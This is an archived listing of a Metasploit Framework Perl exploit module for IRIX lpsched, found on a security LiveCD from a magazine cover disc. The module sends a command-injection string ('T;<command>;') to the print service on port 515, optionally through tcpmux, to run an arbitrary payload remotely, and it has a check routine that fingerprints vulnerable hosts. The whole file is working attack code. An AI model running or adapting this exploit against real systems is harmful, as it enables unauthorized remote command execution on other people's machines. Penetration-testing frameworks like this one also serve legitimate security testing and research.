home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / irix_lpsched_exec.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  144 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::irix_lpsched_exec;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = {};
  16.  
  17. my $info = {
  18.     'Name'     => 'IRIX lpsched Command Execution',
  19.     'Version'  => '$Revision: 1.9 $',
  20.     'Authors'  =>
  21.       [
  22.         'Optyx <optyx [at] uberhax0r.net>',
  23.         'LSD <http://www.lsd-pl.net>'
  24.       ],
  25.       
  26.     'Arch'    => [],
  27.     'OS'      => ['irix'],
  28.     'Priv'    => 1,
  29.  
  30.     'Payload' =>
  31.       {
  32.         'Space'    => 4096,
  33.         'Keys'     => ['cmd'],
  34.       },
  35.  
  36.     'UserOpts' =>
  37.       {
  38.         'RHOST'  => [1, 'ADDR', 'The target address'],
  39.         'RPORT'  => [1, 'PORT', 'The lpsched target port', 515],
  40.         'TCPMUX' => [0, 'BOOL', 'Use tcpmux to indirectly exploit', 0],
  41.       },
  42.  
  43.     'Description' => Pex::Text::Freeform(qq{
  44.       This is YASGIPB (yet another SGI popen bug). This exploit requires 
  45.       the ability to bind to a privileged TCP port (less than 1024). On 
  46.       most Unix systems, this is only possible when you are running as 
  47.       the root user.
  48. }),
  49.  
  50.     'Refs' =>
  51.       [
  52.         ['OSVDB', '8573'],
  53.         ['URL',   'http://www.lsd-pl.net/code/IRIX/irx_lpsched.c'],
  54.         ['MIL',   '35'],
  55.       ],
  56.  
  57.     'DefaultTarget' => 0,
  58.     'Targets' => [["No Target Needed"]],
  59.     'Keys'  => ['lpd'],
  60.  
  61.     'DisclosureDate' => 'Sep 1 2001',
  62.   };
  63.  
  64. sub new {
  65.     my $class = shift;
  66.     my $self  =
  67.       $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  68.     return ($self);
  69. }
  70.  
  71. sub Check {
  72.     my $self = shift;
  73.     $self->LPDSchedQuery(1);
  74. }
  75.  
  76. sub Exploit {
  77.     my $self = shift;
  78.     $self->LPDSchedQuery;
  79. }
  80.  
  81. sub LPDSchedQuery {
  82.     my $self           = shift;
  83.     my $check          = shift;
  84.     my $target_host    = $self->GetVar('RHOST');
  85.     my $target_port    = $self->GetVar('RPORT');
  86.     my $target_tcpmux  = $self->GetVar('TCPMUX');
  87.     my $encodedPayload = $self->GetVar('EncodedPayload');
  88.     my $command        = $check ? "uname -a;" : $encodedPayload->RawPayload;
  89.     my $s;
  90.  
  91.     # The TCPMUX service is always on port 1
  92.     if ($target_tcpmux) {
  93.         $target_port = 1;
  94.     }
  95.  
  96.     $s = Msf::Socket::Tcp->new
  97.       (
  98.         'PeerAddr'  => $target_host,
  99.         'PeerPort'  => $target_port,
  100.         'LocalPort' => $self->GetVar('CPORT'),
  101.       );
  102.  
  103.     if ($s->IsError) {
  104.         $self->PrintLine("[*] Error creating socket: ".$s->GetError);
  105.         return $check ? $self->CheckCode('Connect') : undef;
  106.     }
  107.  
  108.     if ($target_tcpmux) {
  109.         $s->Send("sgi_printer\n");
  110.         $s->Recv(-1, 30);
  111.     }
  112.  
  113.     $self->PrintLine("[*] Executing command...");
  114.     $s->Send("T;$command;\n");
  115.     
  116.     my $res = $s->Recv(-1, 5);
  117.     print $res;
  118.     
  119.     if ($check) {
  120.  
  121.         my $res = $s->Recv(-1, 5);
  122.         $s->Close;
  123.  
  124.         if ($res =~ /IRIX/) {
  125.             $self->PrintLine("[*] Vulnerable system detected");
  126.             return $self->CheckCode('Confirmed');
  127.         }
  128.         else {
  129.             $self->PrintLine("[*] This system does not appear to be vulnerable");
  130.             return $self->CheckCode('Safe');
  131.         }
  132.     }
  133.  
  134.     # XXX what response does a patched system give?
  135.  
  136.     # XXX can we close the socket without killing any running command?
  137.     # $s->Close;
  138.  
  139.     # XXX should we do one more recv and print the response?
  140.     return;
  141. }
  142.  
  143. 1;
  144.